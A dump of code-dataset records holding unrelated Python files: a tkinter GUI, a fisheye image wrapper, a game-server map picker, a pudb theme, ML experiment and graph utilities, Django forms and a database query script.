init_window(self):\r\n self.master.title('testGUI')\r\n self.pack(fill = BOTH, expand = 1)\r\n \r\n # Create cascading menu bar using Menu method in tkinter\r\n menuBar = Menu(self.master)\r\n self.master.config(menu=menuBar)\r\n \r\n file = Menu(menuBar, tearoff = False) # tearoff causes the dashes to disappear\r\n file.add_command(label = 'Save')\r\n file.add_command(label = 'Exit', command = self.client_exit)\r\n menuBar.add_cascade(label = 'File', menu = file)\r\n \r\n edit = Menu(menuBar, tearoff = False)\r\n edit.add_command(label = 'Undo')\r\n edit.add_command(label = 'Show Image', command = self.showImg)\r\n edit.add_command(label = 'Show Text', command = self.showText)\r\n menuBar.add_cascade(label= 'Edit', menu = edit)\r\n \r\n # Create Quit button on the top left hand corner\r\n #quitButton = Button(self, text = 'Quit', command=self.client_exit)\r\n #quitButton.place(x=0, y=0)\r\n \r\n def showImg(self):\r\n load = Image.open('Clement.jpg')\r\n render = ImageTk.PhotoImage(load)\r\n img = Label(self, image = render)\r\n img.Image = render\r\n img.place(x=0, y=0)\r\n \r\n def showText(self):\r\n text = Label(self, text = 'Hi, I am Clement!')\r\n text.pack()\r\n \r\n def client_exit(self):\r\n exit()\r\n \r\nroot = Tk()\r\nroot.geometry(\"400x300\") # Setting size of window\r\napp = Window(root)\r\nroot.mainloop()","sub_path":"testGUI.py","file_name":"testGUI.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"188272030","text":"#!python3\r\n\"\"\"\r\nPython 3 wrapper for fisheye images converting to perspective images\r\n\r\nLIBJEPG installed required.\r\n\r\n@author: Yizheng Wang\r\n\"\"\"\r\n\r\nfrom ctypes import *\r\nimport os\r\nimport math\r\n\r\n#Global variables\r\nTGA = 0\r\nJPG = 3\r\nPNG = 4\r\nXTILT = 0\r\nYROLL = 1\r\nZPAN = 2\r\n\r\nclass BITMAP4(Structure):\r\n _fields_ = [(\"r\",c_ubyte),\r\n (\"g\",c_ubyte),\r\n (\"b\",c_ubyte),\r\n (\"a\",c_ubyte),]\r\n\r\n\r\nclass XYZ(Structure):\r\n _fields_ = [(\"x\",c_double),\r\n (\"y\",c_double),\r\n (\"z\",c_double)]\r\n\r\nclass RGB(Structure):\r\n _fields_ = [(\"r\",c_int),\r\n (\"g\",c_int),\r\n (\"b\",c_int)]\r\n\r\nclass TRANSFORM(Structure):\r\n _fields_ = [(\"axis\",c_int),\r\n (\"value\",c_double),\r\n (\"cvalue\",c_double),\r\n (\"svalue\",c_double),]\r\n\r\nclass PARAMS(Structure):\r\n _fields_ = [(\"fishfov\",c_double),\r\n (\"fishheight\",c_int),\r\n (\"fishwidth\",c_int),\r\n (\"fishcenterx\",c_int),\r\n (\"fishcentery\",c_int),\r\n (\"fishradius\",c_int),\r\n (\"fishradiusy\",c_int),\r\n (\"antialias\",c_int),\r\n (\"remap\",c_int),\r\n (\"perspwidth\",c_int),\r\n (\"perspheight\",c_int),\r\n (\"perspfov\",c_double),\r\n (\"imageformat\",c_int),\r\n (\"rcorrection\",c_int),\r\n (\"a1\",c_double),\r\n (\"a2\",c_double),\r\n (\"a3\",c_double),\r\n (\"a4\",c_double),\r\n (\"missingcolour\",BITMAP4),\r\n (\"debug\",c_int)]\r\n\r\ndef create_params(pwidth,pheight,ffov,fradius,fcenterx,fcentery,pfov, fheight,fwidth):\r\n global JPG\r\n params = PARAMS()\r\n params.perspwidth = pwidth\r\n params.perspheight = pheight\r\n params.fishfov = ffov\r\n params.fishradius = fradius\r\n params.fishradiusy = fradius\r\n params.fishcenterx = fcenterx\r\n params.fishcentery = fcentery\r\n params.fishwidth = fwidth\r\n params.fishheight = fheight\r\n params.debug = 0\r\n params.perspfov = pfov\r\n params.antialias = 2\r\n params.a1 =1\r\n params.a2 =0\r\n params.a3 =0\r\n params.a4 =0\r\n params.missingcolour.r = 128\r\n params.missingcolour.g = 128\r\n params.missingcolour.b = 128\r\n params.missingcolour.a = 0\r\n params.imageformat = JPG\r\n\r\n return params\r\n\r\ndef create_transform(x,y,z,n):\r\n return lib.create_transform(x,y,z,n)\r\n\r\ndef transforming(transform,n):\r\n return lib.transforming(transform,n)\r\n\r\ndef open_fish_image(params,cptr,fishimage):\r\n return lib.open_fish_image(params,cptr,fishimage)\r\n\r\n\r\ndef create_persp_image(perspimg,params):\r\n return lib.create_persp_image(perspimg,params)\r\n\r\ndef params_check(params):\r\n return lib.params_check(params)\r\n\r\ndef convert(params,perspimage,fishimage,transform,n):\r\n return lib.convert(params, perspimage, fishimage, transform,n)\r\n\r\ndef write_file(params,fname,basename,perspimage):\r\n return lib.write_file(params,fname,basename,perspimage)\r\n\r\ndef debug_info(params,transform,n):\r\n return lib.debug_info(params,transform,n)\r\n\r\ndef free_memory(perspimage,fishimage,transform):\r\n return lib.free_memory(perspimage,fishimage,transform)\r\n\r\nlib = CDLL(\"./libfish.so\")\r\n\r\nlib.CameraRay.argtypes = [c_double,c_double,POINTER(XYZ),PARAMS]\r\nlib.CameraRay.restype = XYZ\r\n\r\nlib.VectorSum.argtypes = [c_double,XYZ,c_double,XYZ,c_double,XYZ,c_double,XYZ]\r\nlib.VectorSum.restype = XYZ\r\n\r\nlib.GiveUsage.argtypes = [c_char_p]\r\n\r\nlib.Normalise.argtypes = [POINTER(XYZ)]\r\n\r\nlib.MakeRemap.argtypes = [c_char_p]\r\n\r\nlib.transforming.argtypes = [POINTER(TRANSFORM),c_int]\r\nlib.transforming.restype = POINTER(TRANSFORM)\r\n\r\nlib.open_fish_image.argtypes = [PARAMS,c_char_p,POINTER(BITMAP4)]\r\nlib.open_fish_image.restype = POINTER(BITMAP4)\r\n\r\nlib.create_persp_image.argtypes = [POINTER(BITMAP4),PARAMS]\r\nlib.create_persp_image.restype = POINTER(BITMAP4)\r\n\r\nlib.convert.argtypes = [PARAMS,POINTER(BITMAP4),POINTER(BITMAP4),POINTER(TRANSFORM),c_int]\r\nlib.convert.restype = POINTER(BITMAP4)\r\n\r\nlib.write_file.argtypes = [PARAMS,c_char_p,c_char_p,POINTER(BITMAP4)]\r\n\r\nlib.debug_info.argtypes = [PARAMS, POINTER(TRANSFORM), c_int]\r\n\r\nlib.params_check.argtypes = [PARAMS]\r\nlib.params_check.restype = PARAMS\r\n\r\nlib.create_transform.argtypes = [c_int,c_int,c_int,c_int]\r\nlib.create_transform.restype = POINTER(TRANSFORM)\r\n\r\nlib.free_memory.argtypes = [POINTER(BITMAP4),POINTER(BITMAP4),POINTER(TRANSFORM)]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"fish.py","file_name":"fish.py","file_ext":"py","file_size_in_byte":4510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"88081620","text":"# --------------------------------------------------------------------------\n# Project Reality map picker by rpoxo\n# original idea by MooseBoys\n#\n# prmp.py\n#\n# Description:\n#\n# Script that will suggest map for in-game admins\n#\n# Credits:\n# Thanks google.\n# Thanks Project Reality Team for their awesome mod and built-in functions\n# Special thanks [R-DEV]Tema567 for answering my stupid questions\n# Special thanks [PRTA] Sloan for driving development\n# Thanks Wicca for being Wicca\n# -------------------------------------------------------------------------\n\n\nglobal g_recent # used to store recent input&maps\n\n# importing modules from standart bf2 package\nimport bf2\nimport host\nimport random\nimport time\n# importing prmp modules\nimport prmp_core\nimport prmp_lists\nimport debugger\nimport sys\n# importing Project Reality modules\nimport game.realityadmin as realityadmin\nimport game.realitydebug as realitydebug\n\n# initialing default dictionary to store recent input by player\ng_recent = {\n 'text' : None,\n 'player': None,\n 'maps' : []\n }\n\n\n# ------------------------------------------------------------------------\n# Init\n# ------------------------------------------------------------------------\ndef init():\n host.registerGameStatusHandler(onGameStatusChanged)\n\n\n# ------------------------------------------------------------------------\n# DeInit\n# ------------------------------------------------------------------------\ndef deinit():\n host.unregisterGameStatusHandler(onGameStatusChanged)\n\n\n# ------------------------------------------------------------------------\n# onGameStatusChanged\n# ------------------------------------------------------------------------\ndef onGameStatusChanged(status):\n if status == bf2.GameStatus.Playing:\n host.registerHandler('ChatMessage', onChatMessage, 1) #registering chatMessage handler\n debugger.init()\n #prmp_core.initAllowedGamemodes(realityadmin.mapList) # backup solution\n\n\n# ------------------------------------------------------------------------\n# onChatMessage\n# Callback that managing chat messages.\n# !NEVER call any messages directly from onChatMessage handler as it causing inifite loop\n# ------------------------------------------------------------------------\ndef onChatMessage(playerId, text, channel, flags):\n\n try:\n # fix for local non-dedicated servers\n if playerId == -1:\n playerId = 255\n\n # getting player object by player index\n player = bf2.playerManager.getPlayerByIndex(playerId)\n\n # standart check for invalid players\n if player is None or player.isValid() is False:\n return\n\n # common way to filter chat message\n # clearing text as any channel except Global are prefixed\n text = text.replace('HUD_TEXT_CHAT_COMMANDER', '')\n text = text.replace('HUD_TEXT_CHAT_TEAM', '')\n text = text.replace('HUD_TEXT_CHAT_SQUAD', '')\n text = text.replace('HUD_CHAT_DEADPREFIX', '')\n text = text.replace('* ', '')\n text = text.strip()\n\n args = text.lower().split(' ')\n\n if args[0] == '!mp':\n # !mp command is allowed to use if players is admin or debug enabled\n if realityadmin.isAdmin(player) == True or realitydebug.PRDEBUG != None:\n del args[0]\n if len(args) == 0:\n args = ['']\n debugger.debug('player is admin or debug enabled, acquired %s args' % (str(args)))\n commandHandler(player, args)\n else:\n debugger.debug('player not valid admin, debug not enabled, or not enough args %s' % (str(args)))\n pass\n except:\n debugger.debug(str(sys.exc_traceback.tb_frame.f_code.co_filename) + ' on line ' + str(sys.exc_traceback.tb_lineno))\n\n\n# ------------------------------------------------------------------------\n# commandHandler\n# Filtering chat input\n# ------------------------------------------------------------------------\ndef commandHandler(player, args):\n\n # functions list\n commands = {\n 'pick' : pickMaps,\n 'recent' : printRecent,\n 'maplist' : printMapList,\n 'help' : helpMessage\n }\n # executing service command\n if args[0] in commands.keys():\n try:\n commands[args[0]](player, args)\n except:\n debugger.debug('error in %s function' % (args[0]))\n else:\n commands['pick'](player, args)\n\n\n# ------------------------------------------------------------------------\n# startMapPick\n# starting mappick\n# ------------------------------------------------------------------------\ndef pickMaps(player, args):\n\n # re-compile global mapList before work\n # note that this function works in realityadmin namespace so it's guaranteed to work\n realityadmin.ConstructMaplist()\n\n results = prmp_core.getMapPick(args, realityadmin.mapList)\n\n outputResults(player, args, results)\n\n\n# ------------------------------------------------------------------------\n# outputResults\n# formatting output&storing results\n# expecting list of ['mapname|gamemode|layer']\n# ------------------------------------------------------------------------\ndef outputResults(player, args, results):\n global g_recent\n\n try:\n if results == None:\n return realityadmin.PersonalMessage('\\xc2\\xa7C1001Too strict request, try again', player)\n\n del g_recent['maps']\n g_recent['maps'] = []\n\n for mapObject in results:\n realityadmin.PersonalMessage('\\xc2\\xa7C1001Suggested map: %s (%s, %s)' % \\\n (realityadmin.FormatMapProperties(mapObject.getName()),\\\n realityadmin.FormatMapProperties(mapObject.getGamemode()),\\\n realityadmin.FormatMapProperties(mapObject.getLayer())), player)\n g_recent['maps'].append(mapObject) # appending map to recent maps\n g_recent['player'] = player.getName()\n g_recent['text'] = args\n except:\n realityadmin.PersonalMessage('\\xc2\\xa7C1001prmp.outputResults(): Failed to display results, debug:', player)\n try:\n realityadmin.PersonalMessage('\\xc2\\xa7C1001prmp.outputResults(): %s' % (results), player)\n except:\n realityadmin.PersonalMessage('\\xc2\\xa7C1001prmp.outputResults(): Failed to display debug :(', player)\n\n\n# ------------------------------------------------------------------------\n# printMapList\n# test function\n# printing current mapList\n# ------------------------------------------------------------------------\ndef printMapList(player, args):\n realityadmin.ConstructMaplist()\n for map in realityadmin.mapList:\n realityadmin.PersonalMessage('\\xc2\\xa7C1001printMapList().' + str(map), player)\n if len(realityadmin.mapList) <= 1:\n realityadmin.PersonalMessage('\\xc2\\xa7C1001printMapList().None', player)\n\n\n# ------------------------------------------------------------------------\n# printRecentInput\n# Printing last input and output in-game\n# ------------------------------------------------------------------------\ndef printRecent(player, args):\n realityadmin.PersonalMessage('\\xc2\\xa7C1001Most recent input by %s : !mp %s' % (g_recent['player'], str(g_recent['text'])), player)\n for mapObject in g_recent['maps']:\n realityadmin.PersonalMessage('\\xc2\\xa7C1001Recent suggested map: %s (%s, %s)' % \\\n (realityadmin.FormatMapProperties(mapObject.getName()),\\\n realityadmin.FormatMapProperties(mapObject.getGamemode()),\\\n realityadmin.FormatMapProperties(mapObject.getLayer())), player)\n\n\n# ------------------------------------------------------------------------\n# helpMessage\n# displaying small ingame help to admin\n# ------------------------------------------------------------------------\ndef helpMessage(player, args): # limited to 5 lines\n\n # because other way it is not working in 2.3.4\n # (', '.join(', '.join(keys) for keys in prmp_lists.allowedGamemodes.values()))\n allowedGamemodes = []\n for gamemode in prmp_lists.allowedGamemodes.keys():\n allowedGamemodes.append(', '.join(prmp_lists.allowedGamemodes[gamemode]))\n\n # NOW USING ACTUAL DATA!\n realityadmin.PersonalMessage('\\xc2\\xa7C1001Usage: !mp [map][args]. Map to exclude is always first argument. If not given, not excluded. Allowed args: ', player)\n realityadmin.PersonalMessage('\\xc2\\xa7C1001Gamemodes: ' + ', '.join(allowedGamemodes), player)\n realityadmin.PersonalMessage('\\xc2\\xa7C1001Layers: ' + \\\n ', '.join((', '.join(list(prmp_lists.allowedLayers.keys())), \\\n ', '.join(list(prmp_lists.allowedLayers.values())))), player)\n realityadmin.PersonalMessage('\\xc2\\xa7C1001Themes: ' + str(', '.join(list(prmp_lists.mapThemesMaps.keys()))), player)\n realityadmin.PersonalMessage('\\xc2\\xa7C1001Arguments can be typed in any order, invalid args will be ignored.', player)\n","sub_path":"src/prmp.py","file_name":"prmp.py","file_ext":"py","file_size_in_byte":8923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"641292290","text":"# What's the workflow to quickly update this color scheme?{{{\n#\n# First, you need a shell command to start `pudb`.\n#\n# Find a python script; for example `$(which epy)`.\n# Find a command using this script; for example:\n#\n# $(which epy) /home/lgc/VCS/kitty/docs/_build/epub/kitty.epub\n# ^---^\n# necessary for later\n# the python interpreter needs an absolute path to find the script\n#\n# Prefix the command with `python -m pudb` to load the `pudb` module before\n# executing the script:\n#\n# $ python -m pudb $(which epy) /home/lgc/VCS/kitty/docs/_build/epub/kitty.epub\n# ^------------^\n#\n# ---\n#\n# Now, find an element in the TUI interface for which you don't like the color.\n# Let's say, this color is blue.\n# In this scheme, it could be referred to via any of these:\n#\n# - `dark_blue`\n# - `light_blue`\n# - `light_cyan`\n# - `dark_cyan`\n#\n# Find which token is responsible for the color of your element:\n#\n# :%substitute/dark_blue/white/g\n# # if the color of your element does not change, then undo\n# :%substitute/light_blue/white/g\n# # in pudb, press `q` twice to quit, then restart the shell command\n# # if the color of your element does not change, then undo\n# ...\n#\n# Finally, once you found the token, you need to find the exact occurrence.\n#}}}\n# What color values can I use?{{{\n#\n# You can use `default` to refer to your terminal's default foreground color.\n# The latter is used to highlight the output of shell commands.\n#\n# You can use `h0` to `h256` to refer to all the colors in your terminal's palette.\n#\n# Finally, to refer to the first 16 colors of your terminal, you can use these names:\n#\n# - `black` (aka \"dark black\")\n# - `dark gray` (aka \"light black\")\n#\n# - `dark red`\n# - `light red`\n#\n# - `dark green`\n# - `light green`\n#\n# - `yellow` (aka \"light yellow\")\n# - `brown` (aka \"dark yellow\")\n#\n# - `dark blue`\n# - `light blue`\n#\n# - `dark magenta`\n# - `light magenta`\n#\n# - `dark cyan`\n# - `light cyan`\n#\n# - `light gray` (aka \"dark white\")\n# - `white` (aka \"light white\")\n#}}}\n\n# Give the colors some comprehensible names: {{{1\n\nblack = \"h235\"\nblacker = \"h233\"\ndark_cyan = \"h24\"\ndark_gray = \"h241\"\ndark_blue = \"h20\"\ndark_green = \"h22\"\ndark_magenta = \"h141\"\ndark_red = \"h88\"\ndark_teal = \"h23\"\nlight_blue = \"h111\"\nlight_cyan = \"h80\"\nlight_gray = \"h252\"\nlight_green = \"h113\"\nlight_red = \"h160\"\nmedium_gray = \"h246\"\nsalmon = \"h223\"\norange = \"h173\"\nwhite = \"h255\"\nyellow = \"h192\"\n\n# Set the palette: {{{1\n\n# What's this `palette.update()` function?{{{\n#\n# I don't know, but it seems to be the way to build your own scheme:\n# https://github.com/inducer/pudb/blob/main/examples/theme.py\n#\n# I *think* it's defined in `$ locate pudb/debugger.py`:\n#\n# https://github.com/inducer/pudb/blob/0917e51e9a7349408b36e7ac1119f6c425b12fbf/pudb/debugger.py#L493\n# https://github.com/inducer/pudb/blob/0917e51e9a7349408b36e7ac1119f6c425b12fbf/pudb/debugger.py#L525\n#}}}\n# How do you use it?{{{\n#\n# According to the previous file example, its syntax is:\n#\n# palette.update({\n# \"setting_name\": (foreground_color, background_color),\n# ...\n# })\n#}}}\n# TODO: List the names of all the entries which we can set in the palette.{{{\n#\n# Like `background`, `selectable`, `focused selectable`, ...\n# See `$ locate pudb/theme.py`.\n# I think they're all listed in `INHERITANCE_MAP` and `BASE_STYLES`.\n#}}}\npalette.update({\n# TODO: Re-organize the entries, so we can find the one we want faster.\n # base styles\n 'background': (black, salmon),\n # background of variables and stack views\n 'selectable': (black, light_gray),\n 'focused selectable': (black, light_cyan),\n # TODO: What's this `add_setting()`?\n 'hotkey': (add_setting(black, 'bold, underline'), salmon),\n 'highlighted': (black, yellow),\n\n # general ui\n 'header': (add_setting(black, 'bold'), salmon),\n 'group head': (dark_blue, salmon),\n 'dialog title': (add_setting(white, 'bold'), dark_blue),\n # various input fields, and buttons (like `< Clear >` in shell view)\n 'input': (black, yellow),\n 'focused input': (black, light_cyan),\n 'warning': (add_setting(dark_red, 'bold'), white),\n 'header warning': (add_setting(dark_red, 'bold'), salmon),\n\n # source view\n 'source': (black, light_gray),\n # line which is about to be executed\n 'current source': (black, white),\n 'breakpoint source': (dark_red, salmon),\n 'line number': (dark_gray, white),\n 'current line marker': (dark_red, white),\n 'breakpoint marker': (dark_red, white),\n\n # sidebar\n # Variables\n 'sidebar one': (black, light_gray),\n # Stack\n 'sidebar three': (black, light_gray),\n # Breakpoints\n 'sidebar two': (dark_blue, light_gray),\n\n 'focused sidebar one': (black, light_cyan),\n 'focused sidebar three': (dark_gray, light_cyan),\n 'focused sidebar two': (dark_blue, light_cyan),\n\n # variables view\n 'highlighted var label': (dark_blue, yellow),\n 'return label': (white, dark_blue),\n 'focused return label': (salmon, dark_blue),\n\n # stack\n 'current frame name': (add_setting(white, 'bold'), dark_cyan),\n 'focused current frame name': (add_setting(black, 'bold'), light_cyan),\n\n # shell\n 'command line output': (add_setting(dark_gray, 'bold'), light_gray),\n\n # Code syntax\n # `class`, `def`, `exec`, `lambda`, `print`\n 'keyword2': (dark_magenta, light_gray),\n # \"import\", \"from\", \"using\"\n 'namespace': (dark_magenta, light_gray),\n 'literal': (dark_red, light_gray),\n # Exception names\n 'exception': (dark_red, light_gray),\n 'comment': (dark_gray, light_gray),\n 'function': (dark_blue, light_gray),\n # `self`, `cls`\n 'pseudo': (dark_gray, light_gray),\n # `range`, `dict`, `set`, `list`, etc.\n 'builtin': (light_blue, light_gray),\n})\n\n# TODO: Should we set more items?{{{\n#\n# From `$ locate pudb/theme.py`:\n#\n# Reference for some palette items:\n#\n# 'operator' : \"+\", \"-\", \"=\" etc.\n# NOTE: Does not include \".\", which is assigned the type 'source'\n# 'argument' : Function arguments\n# 'dunder' : Class method names of the form ____ within\n# a class definition\n# 'magic' : Subset of 'dunder', methods that the python language assigns\n# special meaning to. ('__str__', '__init__', etc.)\n# 'keyword' : All keywords except those specifically assigned to 'keyword2'\n# (\"from\", \"and\", \"break\", \"is\", \"try\", \"True\", \"None\", etc.)\n#\n# Also see `INHERITANCE_MAP` and `BASE_STYLES`.\n#\n# Update: If we merge the entries of all the builtin color schemes, and we\n# remove the entries which we've already set, we get this list:\n#\n# argument\n# button\n# class\n# command line clear button\n# command line error\n# command line focused button\n# command line input\n# command line prompt\n# docstring\n# fixed value\n# focused button\n# focused command line error\n# focused command line output\n# focused sidebar\n# keyword\n# operator\n# punctuation\n# string\n#}}}\n# TODO: Should we \"link\" some items?\n# Most builtin themes link these two:\nlink(\"current breakpoint\", \"current frame name\")\nlink(\"focused current breakpoint\", \"focused current frame name\")\n# In addition, `agr-256` links this one:\nlink(\"focused breakpoint\", \"focused selectable\")\n# TODO: Document this `link()` function.\n","sub_path":".config/pudb/theme.py","file_name":"theme.py","file_ext":"py","file_size_in_byte":7456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"512533570","text":"from mrunner.helpers.specification_helper import create_experiments_helper\n\nfrom defaults import combine_config_with_defaults\nfrom task_lists import task_seq_to_task_list\nfrom utils.utils import get_script_command\n\nrun_kind = 'cl'\nname = globals()['script'][:-3]\n\nconfig = {\n 'randomization': 'random_init_all',\n 'reset_critic_on_task_change': False,\n 'hide_task_id': True,\n 'multihead_archs': True,\n 'steps_per_task': int(1e6),\n 'task_list': ['handle-press-side-v1', 'basketball-v1', 'faucet-close-v1',\n 'push-wall-v1', 'coffee-pull-v1', 'hammer-v1', 'stick-push-v1',\n 'bin-picking-v1', 'shelf-place-v1', 'sweep-v1']\n}\nconfig = combine_config_with_defaults(config, run_kind)\n\n# Max: -0.66\nparams_grid = [\n {\n 'cl_method': [None],\n 'seed': list(range(10)),\n },\n {\n 'cl_method': ['ewc'],\n 'seed': list(range(10)),\n 'cl_reg_coef': [2500.],\n },\n {\n 'seed': list(range(10)),\n 'cl_method': ['mas'],\n 'cl_reg_coef': [20.],\n },\n {\n 'seed': list(range(10)),\n 'cl_method': ['agem'],\n 'regularize_critic': [True],\n 'episodic_mem_per_task': [10000],\n 'episodic_batch_size': [256],\n },\n]\n\nexperiments_list = create_experiments_helper(\n experiment_name=name,\n project_name='pmtest/continual-learning',\n script=get_script_command(run_kind),\n python_path='.',\n tags=[name],\n base_config=config,\n params_grid=params_grid)\n","sub_path":"experiments/maciej/mw_244_pretthard_min_seq.py","file_name":"mw_244_pretthard_min_seq.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"601204099","text":"# -*- coding: utf-8 -*-\n\n# Python Standard Library Imports\nimport json\n\n# Local Imports\nfrom pdfgen import metadata\n\n\ndef parse_layout(layout_json_path):\n with open(layout_json_path, 'rt') as layout_json_file:\n layout_json = json.load(layout_json_file)\n parsed_layout = {}\n for entry_key, draw_format_json in layout_json.items():\n draw_format = metadata.DrawFormat(name=entry_key)\n for key, value in draw_format_json.items():\n setattr(draw_format, key, value)\n parsed_layout[entry_key] = draw_format\n return parsed_layout\n","sub_path":"pdfgen/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"465828391","text":"import sys\nfrom deepspeech import Model\nimport scipy.io.wavfile as wav\n\n# Beam width used in the CTC decoder when building candidate transcriptions\nBEAM_WIDTH = 500\n\n# The alpha hyperparameter of the CTC decoder. Language Model weight\nLM_WEIGHT = 1.50\n\n# Valid word insertion weight. This is used to lessen the word insertion penalty\n# when the inserted word is part of the vocabulary\nVALID_WORD_COUNT_WEIGHT = 2.10\n\n# These constants are tied to the shape of the graph used (changing them changes\n# the geometry of the first layer), so make sure you use the same constants that\n# were used during training\n\n# Number of MFCC features to use\nN_FEATURES = 26\n\n# Size of the context window used for producing timesteps in the input vector\nN_CONTEXT = 9\n\nmodel = \"../models/output_graph.pbmm\"\nalphabet = \"../models/alphabet.txt\"\n\nLANGUAGE_MODEL = \"../models/lm.binary\"\nTRIE = \"../models/trie\"\n\nds = Model(model, N_FEATURES, N_CONTEXT, alphabet, BEAM_WIDTH)\n\ndef transcribe(AUDIO_FILE):\n \n fs, audio = wav.read(AUDIO_FILE)\n \n if fs != 16000:\n print('Warning: original sample rate ({}) is different than 16kHz. Resampling might produce erratic speech recognition.'.format(fs), file=sys.stderr)\n fs, audio = convert_samplerate(args.audio)\n\t\n processed_data = ds.stt(audio, fs)\n\n try:\n return processed_data\n except sr.UnknownValueError:\n return -1\n except sr.RequestError as e:\n return -1\n\ndef loadModel():\n \n ds.enableDecoderWithLM(alphabet, LANGUAGE_MODEL, TRIE, LM_WEIGHT, VALID_WORD_COUNT_WEIGHT)\n","sub_path":"speech2text/local_deep.py","file_name":"local_deep.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"29787175","text":"# -*- encoding: utf-8 -*-\n\"\"\"\n@Time : 2021/11/1 10:06\n@Email : colflip@163.com\n\"\"\"\nimport torch\nimport numpy as np\nimport scipy.sparse as sp\n\n\ndef normalize_adj(adj):\n \"\"\"Symmetrically normalize adjacency matrix.\"\"\"\n\n adj = sp.coo_matrix(adj)\n row_sum = np.array(adj.sum(1))\n d_inv_sqrt = np.power(row_sum, -0.5).flatten()\n d_inv_sqrt[np.isinf(d_inv_sqrt)] = 0.\n d_mat_inv_sqrt = sp.diags(d_inv_sqrt)\n # D^(-1/2)AD^(-1/2)\n return adj.dot(d_mat_inv_sqrt).transpose().dot(d_mat_inv_sqrt).tocoo()\n\n\ndef evaluate(model, features, adj, labels, mask):\n model.eval()\n with torch.no_grad():\n logits = model(features, adj)\n logits = logits[mask]\n labels = labels[mask]\n _, indices = torch.max(logits, dim=1)\n correct = torch.sum(indices == labels)\n return correct.item() * 1.0 / len(labels)\n\n\ndef preprocess_adj(adj, is_sparse=False):\n \"\"\"Preprocessing of adjacency matrix for simple pygGCN model and conversion to\n tuple representation.\"\"\"\n adj_normalized = normalize_adj(adj + sp.eye(adj.shape[0]))\n if is_sparse:\n adj_normalized = sparse_mx_to_torch_sparse_tensor(adj_normalized)\n return adj_normalized\n else:\n return torch.from_numpy(adj_normalized.A).float()\n\n\ndef sparse_mx_to_torch_sparse_tensor(sparse_mx):\n \"\"\"Convert a scipy sparse matrix to a torch sparse tensor.\"\"\"\n sparse_mx = sparse_mx.tocoo().astype(np.float32)\n indices = torch.from_numpy(\n np.vstack((sparse_mx.row, sparse_mx.col)).astype(np.int64))\n values = torch.from_numpy(sparse_mx.data)\n shape = torch.Size(sparse_mx.shape)\n return torch.sparse.FloatTensor(indices, values, shape)\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"434414122","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.core.exceptions import ValidationError\nfrom phone_field import PhoneField\n\nfrom .models import Employee, Skill\n\n\nclass SkillForm(forms.ModelForm): # ModelForm have universal method save\n\n class Meta:\n model = Skill\n fields = ['name', 'slug']\n\n widgets = { # up bootstrap style\n 'name': forms.TextInput(attrs={'class': 'form-control'}),\n 'slug': forms.TextInput(attrs={'class': 'form-control'}),\n }\n\n def clean_slug(self):\n new_slug = self.cleaned_data['slug'].lower()\n\n if Skill.objects.filter(slug__iexact=new_slug).count():\n raise ValidationError(\n 'Slug must be unique.\\\n We have slug \"{}\" already'.format(new_slug))\n return new_slug\n\n\nclass EmployeeForm(UserCreationForm):\n phone = forms.CharField(\n max_length=32, label='Phone number', required=False)\n email = forms.EmailField(label='Contact email', required=True)\n\n class Meta:\n model = Employee\n fields = [\"username\", \"first_name\", \"last_name\", \"email\", \"phone\",\n \"about_me\", \"password1\", \"password2\"]\n\n def clean_email(self):\n email = self.cleaned_data.get('email')\n username = self.cleaned_data.get('username')\n if (\n email and\n Employee.objects\n .filter(email=email)\n .exclude(username=username)\n .exists()\n ):\n raise forms.ValidationError(u'Email addresses must be unique.')\n return email\n\n def save(self, commit=True):\n user = super(EmployeeForm, self).save(commit=False)\n user.phone = self.cleaned_data[\"phone\"]\n user.email = self.cleaned_data[\"email\"]\n if commit:\n user.save()\n return user\n","sub_path":"jobsearchengine/jobsearch/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"394617846","text":"# ### ====================================================================================\n# Script que varre tdoas as bases buscando os codigos dos documentos de interesse e verifica\n# quais sao os códigos que se deve buscar de maneira global\n# ### ====================================================================================\n\nfrom datetime import timedelta\nimport sys\nimport pandas as pd\nimport pandas.io.sql as psql\nimport time\nimport csv\nimport psycopg2\nimport os\nimport matplotlib.pyplot as plt\n\nsys.path.insert(1, '/home/anarocha/Documents/credentials')\nfrom credentials import *\n\n\n#SELECT QUE BUSCA OS PROCESSOS QUE FORAM REMETIDOS AO 2 GRAU E SEUS ASSUNTOS EM PRIMEIRO GRAU\nsql_original = \"\"\"\nselect (SELECT cd_sigla_tribunal from tb_tribunal) AS tribunal, tpd.cd_documento, tpd.ds_tipo_processo_documento,count(doc.id_processo_documento)\nfrom tb_processo_documento doc \ninner join tb_tipo_processo_documento tpd on doc.id_tipo_processo_documento = tpd.id_tipo_processo_documento\nwhere ((tpd.cd_documento in ('7149', '7154' , '7152' ,'63' ,'69') AND doc.ds_instancia = '1')\nor (tpd.cd_documento = '58' AND doc.ds_instancia = '2'))\nand dt_juntada IS NOT null\ngroup by tribunal, tpd.cd_documento,tpd.ds_tipo_processo_documento\n\"\"\"\nsql_original = sql_original.replace('\\n', ' ')\nsql_original = sql_original.replace('\\t', ' ')\n\n\ndf = pd.DataFrame()\nfor i in range(1, 25):\n sigla_trt = \"{:02d}\".format(i)\n\n print(\"----------------------------------------------------------------------------\")\n print(\"PROCESSANDO DADOS DO TRT {} - 2o GRAU\".format(sigla_trt))\n start_time = time.time()\n 